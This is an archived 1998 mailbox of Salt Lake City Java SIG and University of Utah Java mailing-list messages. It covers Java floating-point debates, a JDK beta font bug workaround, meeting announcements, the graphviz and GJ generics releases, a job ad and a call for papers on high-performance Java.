looks like this: %%% 1995 ( 249) 1997 ( 969) 1999 ( 2) %%% 1996 (1034) 1998 ( 121) %%% 19xx ( 333) %%% %%% Article: 1270 %%% Book: 1222 <=== Note! %%% InProceedings: 88 %%% Manual: 1 %%% MastersThesis: 4 %%% Misc: 48 %%% Periodical: 5 %%% PhdThesis: 1 %%% Proceedings: 55 %%% TechReport: 6 %%% Unpublished: 8 %%% %%% Total entries: 2708 Third, regular columns on Java in Dr. Dobbs' Journal: http://www.math.utah.edu/pub/tex/bib/index.html#dr-dobbs Given the large number of books on Java (in 20+ human languages), it would be helpful if people on this list who have found books that they find useful, or else detest, would write short reviews about them and post them to this list. ----------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ----------------------------------------------------------------------------- 5-May-1998 22:08:03-GMT,5138;000000000001 Received: from plot79.math.utah.edu (beebe@plot79.math.utah.edu [155.101.20.21]) by csc-sun.math.utah.edu (8.8.5/8.8.5) with ESMTP id QAA15562; Tue, 5 May 1998 16:07:40 -0600 (MDT) From: ""Nelson H. F. Beebe"" Received: (from beebe@localhost) by plot79.math.utah.edu (8.8.5/8.8.5) id QAA14763; Tue, 5 May 1998 16:07:41 -0600 (MDT) Date: Tue, 5 May 1998 16:07:41 -0600 (MDT) To: java-sig@math.utah.edu, java-users@math.utah.edu Cc: beebe@math.utah.edu, risto@math.utah.edu, rodgers@math.utah.edu, debar@math.utah.edu X-US-Mail: ""Center for Scientific Computing, Department of Mathematics, 322 INSCC, University of Utah, 155 S 1400 E RM 233, Salt Lake City, UT 84112-0090, USA"" X-Telephone: +1 801 581 5254 X-FAX: +1 801 585 1640, +1 801 581 4148 X-URL: http://www.math.utah.edu/~beebe Subject: Java and floating-point computation Message-ID: Those of you who have not been using Java for floating-point computations may be unaware of a debate that has been going on for the past few months in selected circles, with eminent people like three of the authors of the IEEE 754 floating-point standard (William Kahan [UC Berkeley, and the grandfather of IEEE 754], David Hough [Sun et al], and Jerome Coonan [Apple et al]), and noted computer scientists Bill Joy [UC/Berkeley, and Sun co-founder], Guy Steele [MIT, ..., Sun], and James Gosling [CMU, ..., Sun, and the father of Java]. The crux of the debate is that the current Java Virtual Machine places extremely severe restrictions upon the use of floating-point, including (a) all floating-point operations must produce intermediate results in 32-bit or 64-bit precision (b) limitations on NaN (not-a-number) (c) rounding model is always round-to-nearest, despite the fact that IEEE 754 also defines round-to-minus-infinity, round-to-zero, and round-to-plus-infinity Point (a) is a very serious performance hit for architectures that have extended precision arithmetic. The most notable of these is the Intel x86 family, where the hardware does its work with 80-bit values in registers, and only on return to memory are values reduced to 32- or 64-bit ones. There is NO hardware instruction that can do this reduction in the floating-point registers themselves. Point (a) is also a serious performance hit for architectures that have fused multiply/add instructions (IBM Power, HP PA-RISC, SGI MIPS R8000 and R10000, ...), which compute A*B + C in one (pipelined) cycle, with EXACT computation of the (double-length) product, A*B, and only one rounding, from the addition. Given that memory access on current architectures costs from 10 to 30 CPU cycles, if a value must be stored to memory and then reloaded, just to accomplish a rounding to 32 or 64 bits, then as much as a factor of 60 in performance can be lost, or even more if the store-and-reload knocks something out of cache that is going to be used shortly. Given that many implementations of Java are still interpreted on-the-fly, for a performance hit of perhaps a factor of 100, in bad cases, code in Java might run 10,000 times slower than it otherwise could in a compiled language on the same platform [it isn't this bad in most cases, but an early Java LINPACK benchmark result on a DEC Alpha was 300 times slower than the Fortran version]. However, because of Java's many admirable features, there is great interest in using Java for scientific and engineering computations, PROVIDED that its performance can be made acceptable. Point (c) prevents efficient implementation of interval arithmetic, which computes upper and lower bounds for each floating-point operation, so that numbers are represented by ranges [a,b], rather than single values. Although this kind of arithmetic is not common today, there is a growing literature, and yearly conferences, on the subject, and perhaps one day, such arithmetic may be the norm, rather than the exception. This debate led to an announcement by Sun Microsystems in late March 1998 that the Java Virtual Machine will be extended to enhance floating-point arithmetic support: see http://www.sun.com/smi/Press/sunflash/9803/sunflash.980324.17.html It is mostly press release blurb, with few details, but today, a more detailed document became available, from James Gosling himself: http://java.sun.com/people/jag/FP.html If you are interested in this area, I urge you to read it. ----------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ----------------------------------------------------------------------------- 6-May-1998 17:11:06-GMT,2666;000000000001 Received: from orca.es.com (orca.es.com [130.187.1.1]) by csc-sun.math.utah.edu (8.8.5/8.8.5) with SMTP id LAA04365 for ; Wed, 6 May 1998 11:10:16 -0600 (MDT) From: bwoodard@es.com Received: from torino.corp.es.com (torino.corp.es.com [130.187.170.70]) by orca.es.com (8.6.10/8.6.9) with ESMTP id LAA14753 for ; Wed, 6 May 1998 11:11:28 -0600 Received: by torino.corp.es.com with Internet Mail Service (5.5.1960.3) id ; Wed, 6 May 1998 11:10:06 -0600 Message-ID: <075E06E8B98AD111833500805FEA6754C62CFC@torino.corp.es.com> To: java-sig@math.utah.edu Subject: Java Tips Date: Wed, 6 May 1998 11:10:03 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.1960.3) Content-Type: text/plain Hello all, I meant to bring this up during the last couple of meetings... The current preliminary release of JDK1.2 (beta3) for Wintel has an annoying bug where upon starting the JVM, _all_ of your system's fonts are loaded regardless of whether your apps use any fonts at all. I found that on my PPro 200, starting an application or applet (with appletviewer) took over 1.5 minutes. Of course, your annoyance may vary based on the number of fonts your system has loaded (I've heard someone say it took their system 8 minutes). To fix this problem you need to do the following: 1) create a new directory for the fonts you want Java to use. 2) copy any fonts you want from your system fonts directory (""c:\\winnt\\fonts"" under NT) to your new Java fonts directory. 3) create a new environment variable ""JAVA_FONTS"", and have it reference your fonts directory. This reduces the number of fonts that Java will load on JVM startup. Now my system takes only a few seconds before starting my apps. Note that this problem will be fixed for beta4, due out relatively soon from what I understand, so at that point your separate Java fonts directory should be unnecessary. One additional item: I've been hearing lots of horror stories from developers about the JIT included with the Wintel version of JDK1.1.6. This is the first _official_ Sun JITed JVM release; previously you could load a separate app, the Java Performance Pack (JPP), which hooked up a Symantec JIT for you, but apparently this one is new and quite buggy. Several developers recommended either disabling the JIT or sticking with 1.1.5 for the time being. At the very least, try disabling the JIT upon encountering any strange or elusive bugs in your apps. Regards, ___________________________________________ Bruce Woodard Software Engineer bwoodard@es.com Evans & Sutherland (801)588-7942 Salt Lake City, UT 9-May-1998 17:32:44-GMT,1899;000000000001 Received: from plot79.math.utah.edu (beebe@plot79.math.utah.edu [155.101.20.21]) by csc-sun.math.utah.edu (8.8.5/8.8.5) with ESMTP id LAA13773; Sat, 9 May 1998 11:32:19 -0600 (MDT) From: ""Nelson H. F. Beebe"" Received: (from beebe@localhost) by plot79.math.utah.edu (8.8.5/8.8.5) id LAA13300; Sat, 9 May 1998 11:32:21 -0600 (MDT) Date: Sat, 9 May 1998 11:32:21 -0600 (MDT) To: java-sig@math.utah.edu Cc: beebe@math.utah.edu X-US-Mail: ""Center for Scientific Computing, Department of Mathematics, 322 INSCC, University of Utah, 155 S 1400 E RM 233, Salt Lake City, UT 84112-0090, USA"" X-Telephone: +1 801 581 5254 X-FAX: +1 801 585 1640, +1 801 581 4148 X-URL: http://www.math.utah.edu/~beebe Subject: JavaWorld mailing list Message-ID: Some of you may be interested in subscribing to the JavaWorld mailing list; this is not a discussion list, but merely a posting that has appeared roughly every 10 days with news from www.javaworld.com. Each posting is two to three screensful, so the volume is not high; there are brief summaries of news items with URLs to get more information. If you are interested, you may be able to subscribe with a request to JavaWorld-request@FDDS.COM ----------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ----------------------------------------------------------------------------- 21-May-1998 15:00:37-GMT,1861;000000000001 Received: from plot79.math.utah.edu (beebe@plot79.math.utah.edu [155.101.20.21]) by csc-sun.math.utah.edu (8.8.5/8.8.5) with ESMTP id JAA04471; Thu, 21 May 1998 09:00:22 -0600 (MDT) From: ""Nelson H. F. Beebe"" Received: (from beebe@localhost) by plot79.math.utah.edu (8.8.5/8.8.5) id JAA10725; Thu, 21 May 1998 09:00:24 -0600 (MDT) Date: Thu, 21 May 1998 09:00:24 -0600 (MDT) To: java-sig@math.utah.edu Cc: beebe@math.utah.edu X-US-Mail: ""Center for Scientific Computing, Department of Mathematics, 322 INSCC, University of Utah, 155 S 1400 E RM 233, Salt Lake City, UT 84112-0090, USA"" X-Telephone: +1 801 581 5254 X-FAX: +1 801 585 1640, +1 801 581 4148 X-URL: http://www.math.utah.edu/~beebe Subject: Salt Lake Java SIG meeting: Tuesday, May 26 7:00pm - 8:30pm Message-ID: The next meeting of the Salt Lake Java SIG will be held Tuesday, May 26 7:00pm - 8:30pm Room 112, EMCB (Engineering and Mines Classroom Building, just south of Merrill Engineering), University of Utah campus Topic: SilverStream - Web / Database Development Tool For further details, and a location map, visit the Web site http://www.psicomp.com/techsig/ ----------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ----------------------------------------------------------------------------- 22-May-1998 23:50:51-GMT,3315;000000000001 Received: from plot79.math.utah.edu (beebe@plot79.math.utah.edu [155.101.20.21]) by csc-sun.math.utah.edu (8.8.5/8.8.5) with ESMTP id RAA19882; Fri, 22 May 1998 17:50:37 -0600 (MDT) From: ""Nelson H. F. Beebe"" Received: (from beebe@localhost) by plot79.math.utah.edu (8.8.5/8.8.5) id RAA19966; Fri, 22 May 1998 17:50:39 -0600 (MDT) Date: Fri, 22 May 1998 17:50:39 -0600 (MDT) To: java-sig@math.utah.edu Cc: beebe@math.utah.edu X-US-Mail: ""Center for Scientific Computing, Department of Mathematics, 322 INSCC, University of Utah, 155 S 1400 E RM 233, Salt Lake City, UT 84112-0090, USA"" X-Telephone: +1 801 581 5254 X-FAX: +1 801 585 1640, +1 801 581 4148 X-URL: http://www.math.utah.edu/~beebe Subject: graphviz package: drawing diagrams in C, Tcl/Tk, and Java Message-ID: All of you have seen diagrams with boxes and circles and arrows, used in Officer Oppie's colored glossy 8x10 photographs in the Alice's Restaurant court proceedings, coaches' instructions to football players, Ross Perot in campaign speeches, and practically every computer science book ever written. While packages such as B. W. Kernighan's ""pic"", and C. Van Wyk's ""ideal"", make it reasonably straightforward to prepare such drawings from simple textual instructions like .PS ellipse ""document"" arrow box ""PIC"" arrow box ""TBL/EQN"" ""(optional)"" dashed arrow box ""TROFF"" arrow ellipse ""typesetter"" .PE (given on p. 1 of the PIC manual), they suffer from the problem that they cannot determine the true width of arbitrary text strings, and thus, in real applications, considerable manual twiddling of box sizes is necessary to get things right. There is now a new package, called graphviz, that addresses some of these issues. In particular, it contains a TrueType font rasterizer, so that it can do accurate text width computations, and then automatically resize boxes. It also has a Tcl/Tk frontend, for interactive preparation of drawings, and a Java implementation of part of it. [I counted 36,672 lines of Java code in the distribution, which is why I'm posting to this list.] If this kind of thing interests you, you might wish to get the software, available from http://www.research.att.com/sw/tools/graphviz/ The software is distributed under license from AT&T, but for non-commercial use, it is essentially an unsupported perpetual license. I've just successfully installed it on our Sun Solaris 2.6 systems. The supported UNIX architectures are HP-PA HP-UX, Linux (on Intel), DEC OSF/1 Alpha, SGI MIPS, Sun Solaris, and Sun OS. There are also Windows versions, though I did not fetch them. ----------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ----------------------------------------------------------------------------- 28-May-1998 23:12:30-GMT,3776;000000000001 Received: from plot79.math.utah.edu (beebe@plot79.math.utah.edu [155.101.20.21]) by csc-sun.math.utah.edu (8.8.5/8.8.5) with ESMTP id RAA06977; Thu, 28 May 1998 17:11:55 -0600 (MDT) From: ""Nelson H. F. Beebe"" Received: (from beebe@localhost) by plot79.math.utah.edu (8.8.5/8.8.5) id RAA10295; Thu, 28 May 1998 17:11:56 -0600 (MDT) Date: Thu, 28 May 1998 17:11:56 -0600 (MDT) To: java-users@math.utah.edu, java-sig@math.utah.edu Cc: beebe@math.utah.edu, tadw@itiweb.com, dhendry@apfox.apfo.usda.gov X-US-Mail: ""Center for Scientific Computing, Department of Mathematics, 322 INSCC, University of Utah, 155 S 1400 E RM 233, Salt Lake City, UT 84112-0090, USA"" X-Telephone: +1 801 581 5254 X-FAX: +1 801 585 1640, +1 801 581 4148 X-URL: http://www.math.utah.edu/~beebe Subject: News item: GJ - A Generic Java Extension Message-ID: This just came in: GJ - A Generic Java Extension GJ is an extension of the Java programming language that supports generic types. *Support for generics* Many data types are generic over some other data type, and this is especially common for reusable libraries such as collection classes. GJ supports the use of such types, for instance allowing one to write the GJ type Vector as opposed to the Java type Vector. With GJ, fewer casts are required, and the compiler catches more errors. *Superset of the Java programming language* Every Java source programq is still legal and retains the same meaning in GJ. The GJ compiler can be used as a Java compiler. *Compiles into the Java Virtual Machine* GJ compiles into JVM code, so GJ programs run on any Java platform, including Java compliant browsers. Class files produced by the GJ compiler can be freely mixed with those produced by other Java compilers. *Compatible with existing libraries* One can call any Java library function from GJ. Further, where it is sensible, one can assign GJ types to existing Java libraries. For instance, the GJ type Vector is implemented by the Java library type Vector. *Efficient translation* GJ is translated by erasure: no information about type parameters is maintained at run-time. This means GJ code is pretty much identical to Java code for the same purpose, and equally efficient. *Freely available and fully documented* The GJ compiler is itself written in GJ, so it runs on any platform that supports Java. The GJ compiler is available for download, and there is extensive documentation. GJ was designed by Gilad Bracha of JavaSoft, Martin Odersky of the University of South Australia, David Stoutamire of JavaSoft, and Philip Wadler of Bell Labs, Lucent Technologies. GJ is based on Odersky and Wadler's previous work on Pizza, but there are also some differences. GJ can be obtained from sites http://www.cis.unisa.edu.au/~pizza/gj http://wwwipd.ira.uka.de/~pizza/gj http://www.math.luc.edu/pizza/gj The site http://www.cs.bell-labs.com/who/wadler/pizza/gj is still waiting to be updated; it will have the latest version soon. Cheers -- Martin Odersky, Philip Wadler ----------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ----------------------------------------------------------------------------- 15-Jun-1998 3:45:33-GMT,1863;000000000001 Received: from out5.ibm.net (out5.ibm.net [165.87.194.245]) by csc-sun.math.utah.edu (8.8.5/8.8.5) with ESMTP id VAA02317 for ; Sun, 14 Jun 1998 21:45:32 -0600 (MDT) Received: from ibm.net (slip129-37-226-248.ut.us.ibm.net [129.37.226.248]) by out5.ibm.net (8.8.5/8.6.9) with ESMTP id DAA66990 for ; Mon, 15 Jun 1998 03:45:29 GMT Message-ID: <35849880.1628F602@ibm.net> Date: Sun, 14 Jun 1998 21:44:00 -0600 From: Bill Harris Reply-To: bharris@ibm.net X-Mailer: Mozilla 4.05 [en] (Win95; U) MIME-Version: 1.0 To: ""Nelson H. F. Beebe"" Subject: Java Programming Opportunity References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Java Programming opportunity here in Salt Lake City. International Company needs people with experience with 1-2, and 2-3 years experience programming Java. Will be working with all the new bleeding edge technology. Any networking experience or database experience will be helpful. Will be involved with, but no prior exp. required for project development from Design, Programming, Testing, to the final product. This is a new development group being formed to meet the needs of the Wasatch Front Clientel. The company headquarters is located out of state, so the group being formed will be a development group with very little corporate politics. This is a mature company, not a start up company. Their stock is publicly held, and they are very stable. This opportunity is due to the growing need for client development and support locally. Salary range should be $45-$100k plus great benefits. Relocation available. Interested in duscussing this opportunity, call me at work. Scott Jacobs Prince, Perelson and Associates scottj@perelson.com 801-532-1000 17-Jun-1998 15:39:23-GMT,1884;000000000001 Received: from plot79.math.utah.edu (beebe@plot79.math.utah.edu [155.101.20.21]) by csc-sun.math.utah.edu (8.8.5/8.8.5) with ESMTP id JAA12799; Wed, 17 Jun 1998 09:39:09 -0600 (MDT) From: ""Nelson H. F. Beebe"" Received: (from beebe@localhost) by plot79.math.utah.edu (8.8.5/8.8.5) id JAA29832; Wed, 17 Jun 1998 09:39:08 -0600 (MDT) Date: Wed, 17 Jun 1998 09:39:08 -0600 (MDT) To: java-users@math.utah.edu, java-sig@math.utah.edu Cc: beebe@math.utah.edu X-US-Mail: ""Center for Scientific Computing, Department of Mathematics, 322 INSCC, University of Utah, 155 S 1400 E RM 233, Salt Lake City, UT 84112-0090, USA"" X-Telephone: +1 801 581 5254 X-FAX: +1 801 585 1640, +1 801 581 4148 X-URL: http://www.math.utah.edu/~beebe Subject: Free Software Foundation recognizes Java Message-ID: Many of us have been using several of the fine software products of the Free Software Foundation for many years now. However, until today, I'd not seen mention of Java among their many efforts. Now there is: visit http://www.javaworld.com/jw-07-1998/jw-07-freebuilder.html?061798txt for details. There pointers at that site to related sites for the GNU Free Builder Project. ----------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ----------------------------------------------------------------------------- 22-Jun-1998 16:41:53-GMT,1455;000000000001 Received: from [209.160.31.225] (firewall.myriad.com [209.160.31.225]) by csc-sun.math.utah.edu (8.8.5/8.8.5) with SMTP id KAA22838 for ; Mon, 22 Jun 1998 10:40:55 -0600 (MDT) Received: from oz.myriad.com by [209.160.31.225] via smtpd (for csc-sun.math.utah.edu [128.110.198.2]) with SMTP; 22 Jun 1998 16:40:55 UT Received: from catalina.myriad.com (catalina [208.128.136.17]) by oz.myriad.com (8.8.8/8.8.8) with SMTP id KAA29617 for ; Mon, 22 Jun 1998 10:40:50 -0600 (MDT) Received: from myriad.com by catalina.myriad.com (SMI-8.6/SMI-SVR4) id KAA04930; Mon, 22 Jun 1998 10:40:50 -0600 Message-ID: <358E896C.9F54AD64@myriad.com> Date: Mon, 22 Jun 1998 10:42:20 -0600 From: Paul Hill Reply-To: ""Paul A. Hill"" Organization: Myriad Genetics X-Mailer: Mozilla 4.04 [en] (WinNT; I) MIME-Version: 1.0 To: java-sig@math.utah.edu Subject: Java FAQs and Pages Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit For serious coding examples, particularly for GUI applications, I recommend, Dick Baldwin's Java Programming Tutorials. http://www.phrantic.com/scoop/onjava.html Some of lessons here are fantastic, I particularly like the advanced lessons. For those basic questions try the comp.lang.java.programmer FAQ http://www.afu.com/javafaq.html It is a much simplier set of pages, but contains lots of good info. Enjoy, -Paul 22-Jun-1998 15:14:37-GMT,1591;000000000001 Received: from plot79.math.utah.edu (beebe@plot79.math.utah.edu [155.101.20.21]) by csc-sun.math.utah.edu (8.8.5/8.8.5) with ESMTP id JAA19576; Mon, 22 Jun 1998 09:13:06 -0600 (MDT) From: ""Nelson H. F. Beebe"" Received: (from beebe@localhost) by plot79.math.utah.edu (8.8.5/8.8.5) id JAA26424; Mon, 22 Jun 1998 09:13:05 -0600 (MDT) Date: Mon, 22 Jun 1998 09:13:05 -0600 (MDT) To: java@math.utah.edu, java-sig@math.utah.edu Cc: beebe@math.utah.edu X-US-Mail: ""Center for Scientific Computing, Department of Mathematics, 322 INSCC, University of Utah, 155 S 1400 E RM 233, Salt Lake City, UT 84112-0090, USA"" X-Telephone: +1 801 581 5254 X-FAX: +1 801 585 1640, +1 801 581 4148 X-URL: http://www.math.utah.edu/~beebe Subject: Java FAQ on the net Message-ID: I've just come across an extensive Java Frequently-Asked-Questions (FAQ) list at http://www.digitalfocus.com/faq/ ----------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ----------------------------------------------------------------------------- 23-Jun-1998 19:22:21-GMT,2082;000000000001 Received: from plot79.math.utah.edu (beebe@plot79.math.utah.edu [155.101.20.21]) by csc-sun.math.utah.edu (8.8.5/8.8.5) with ESMTP id NAA24121; Tue, 23 Jun 1998 13:22:12 -0600 (MDT) From: ""Nelson H. F. Beebe"" Received: (from beebe@localhost) by plot79.math.utah.edu (8.8.5/8.8.5) id NAA04756; Tue, 23 Jun 1998 13:22:11 -0600 (MDT) Date: Tue, 23 Jun 1998 13:22:11 -0600 (MDT) To: java@math.utah.edu, java-sig@math.utah.edu Cc: beebe@math.utah.edu X-US-Mail: ""Center for Scientific Computing, Department of Mathematics, 322 INSCC, University of Utah, 155 S 1400 E RM 233, Salt Lake City, UT 84112-0090, USA"" X-Telephone: +1 801 581 5254 X-FAX: +1 801 585 1640, +1 801 581 4148 X-URL: http://www.math.utah.edu/~beebe Subject: Sun Java programs overview, and Java support in GNU Emacs and make Message-ID: Following a posting to the local Math Dept Java mailing list this morning, I decided to expand it into a longer-lived document in HTML form and make it generally available; visit http://www.math.utah.edu/~beebe/java/index.html for details. Some of the material will be familiar to those of you who are seasoned Java users, but the section on the support of Java in Makefiles is completely new, reflecting code I wrote this morning to extend my Emacs support for the wonderful make utility, which I view as possibly the greatest software tool ever written. ----------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ----------------------------------------------------------------------------- 26-Jun-1998 22:56:13-GMT,1950;000000000001 Received: from plot79.math.utah.edu (beebe@plot79.math.utah.edu [155.101.20.21]) by csc-sun.math.utah.edu (8.8.5/8.8.5) with ESMTP id QAA03762; Fri, 26 Jun 1998 16:55:56 -0600 (MDT) From: ""Nelson H. F. Beebe"" Received: (from beebe@localhost) by plot79.math.utah.edu (8.8.5/8.8.5) id QAA02443; Fri, 26 Jun 1998 16:55:56 -0600 (MDT) Date: Fri, 26 Jun 1998 16:55:56 -0600 (MDT) To: java-sig@math.utah.edu, java-users@math.utah.edu Cc: beebe@math.utah.edu X-US-Mail: ""Center for Scientific Computing, Department of Mathematics, 322 INSCC, University of Utah, 155 S 1400 E RM 233, Salt Lake City, UT 84112-0090, USA"" X-Telephone: +1 801 581 5254 X-FAX: +1 801 585 1640, +1 801 581 4148 X-URL: http://www.math.utah.edu/~beebe Subject: Java SIG Meeting Tuesday 30-Jun-1998 7-8pm EMCB 112 UofU campus Message-ID: The next meeting of the Salt Lake City Java SIG will be Tuesday 30-Jun-1998 7-8pm EMCB 112 UofU campus The closest parking lot is the Engineering lot behind the Merrill Engineering Building; EMCB is the low building directory south of the big black MEB. The presentation this month will be from Digital Harbor of Orem, UT. Details are just now going up on the Web at: http://www.psicomp.com/techsig/ See you there! ----------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ----------------------------------------------------------------------------- 30-Jun-1998 18:46:17-GMT,1627;000000000001 Received: from plot79.math.utah.edu (beebe@plot79.math.utah.edu [155.101.20.21]) by csc-sun.math.utah.edu (8.8.5/8.8.5) with ESMTP id MAA17842; Tue, 30 Jun 1998 12:46:17 -0600 (MDT) From: ""Nelson H. F. Beebe"" Received: (from beebe@localhost) by plot79.math.utah.edu (8.8.5/8.8.5) id MAA21502; Tue, 30 Jun 1998 12:46:16 -0600 (MDT) Date: Tue, 30 Jun 1998 12:46:16 -0600 (MDT) To: mbeebe@chemistry.chem.utah.edu Cc: beebe@math.utah.edu X-US-Mail: ""Center for Scientific Computing, Department of Mathematics, 322 INSCC, University of Utah, 155 S 1400 E RM 233, Salt Lake City, UT 84112-0090, USA"" X-Telephone: +1 801 581 5254 X-FAX: +1 801 585 1640, +1 801 581 4148 X-URL: http://www.math.utah.edu/~beebe Subject: Java SIG meeting tonight Message-ID: I have the monthly Java SIG meeting tonight at 7pm; I expect to be home before 9pm. Perhaps Maya can return the videos to Smith's at 900 E 2100 S before 7pm. ----------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ----------------------------------------------------------------------------- 22-Jul-1998 12:03:27-GMT,8278;000000000001 Received: from plot79.math.utah.edu (beebe@plot79.math.utah.edu [155.101.20.21]) by csc-sun.math.utah.edu (8.8.5/8.8.5) with ESMTP id GAA09915; Wed, 22 Jul 1998 06:03:05 -0600 (MDT) From: ""Nelson H. F. Beebe"" Received: (from beebe@localhost) by plot79.math.utah.edu (8.8.5/8.8.5) id GAA01936; Wed, 22 Jul 1998 06:03:04 -0600 (MDT) Date: Wed, 22 Jul 1998 06:03:04 -0600 (MDT) To: java-users@math.utah.edu, java-sig@math.utah.edu Cc: beebe@math.utah.edu X-US-Mail: ""Center for Scientific Computing, Department of Mathematics, 322 INSCC, University of Utah, 155 S 1400 E RM 233, Salt Lake City, UT 84112-0090, USA"" X-Telephone: +1 801 581 5254 X-FAX: +1 801 585 1640, +1 801 581 4148 X-URL: http://www.math.utah.edu/~beebe Subject: [David G Hough at validgh : high performance Java mailings] Message-ID: Folks, perhaps a few of you might be interested in this upcoming journal issue on high-performance Java: --------------- Received: from validgh.validgh.com (validgh.validgh.com [208.195.66.99]) by csc-sun.math.utah.edu (8.8.5/8.8.5) with ESMTP id XAA04218 for ; Tue, 21 Jul 1998 23:15:51 -0600 (MDT) Received: (from major@localhost) by validgh.validgh.com (8.8.8/8.8.8) id WAA04309 for numeric-interest-outgoing; Tue, 21 Jul 1998 22:02:10 -0700 (PDT) X-Authentication-Warning: validgh.validgh.com: major set sender to owner-numeric-interest using -f Received: (from validgh@localhost) by validgh.validgh.com (8.8.8/8.8.8) id WAA04300 for numeric-interest; Tue, 21 Jul 1998 22:02:09 -0700 (PDT) Date: Tue, 21 Jul 1998 22:02:09 -0700 (PDT) From: David G Hough at validgh Message-Id: <199807220502.WAA04300@validgh.validgh.com> To: numeric-interest@validgh.validgh.com Subject: high performance Java mailings Sender: owner-numeric-interest@validgh.validgh.com Precedence: bulk Reply-To: David G Hough at validgh Date: Mon, 20 Jul 1998 13:46:56 -0400 From: ""SF.Hummel"" Subject: CFP To: java-for-cse@npac.syr.edu ####################################################################### # # # Scientific Programming # # # # Call for Papers # # A Special Issue Focusing on # # High Performance Java Compilation and Runtime Issues # # # ####################################################################### *** Introduction to the topic/motivation*** Due to the limited life-span of today's supercomputers, achieving performance portability of parallel codes is of critical importance. Although Java was not specifically designed for the computationally intensive numeric applications that are the typical fodder of supercomputers, its widespread popularity and portability make it an interesting candidate for high-performance computing; however, many open research questions remain regarding the viability of high performance Java-enabled environments. These encompass topics ranging from compiler/runtime optimizations to the language design to interfacing with legacy libraries. Papers are solicited for a Special Issue of Scientific Programming, tentatively scheduled to be published in July, 1999. The purpose of this special issue is to focus on the fast-paced developments, experiences and research supporting high-performance execution of Java codes for numerical applications. Topics of interest include (but are not limited to): *** your list of topics o JITs/Dynamic compilation o Native code generation o Analysis of numeric applications o Compiler optimizations o Garbarge collection o Language Specification (floating-point, array, object and thread models) o JVM design and implementation o Scalability issues o Highly parallel implementations o Distributed/web-based implementaions o Interfacing with legacy libraries Schedule: -------------------------------------------------- | Submission deadline: July 31, 1998 | Notification of Acceptance: December 31, 1998 | Target month of Special Issue: July 1999 -------------------------------------------------- Authors should follow the Information for Authors at the end of each issue of Scientific Programming when preparing their manuscripts for submission. An electronic copy of the manuscript, in Postscript format and viewable with ghostview, should be submitted via electronic mail to the guest editor by July 31, 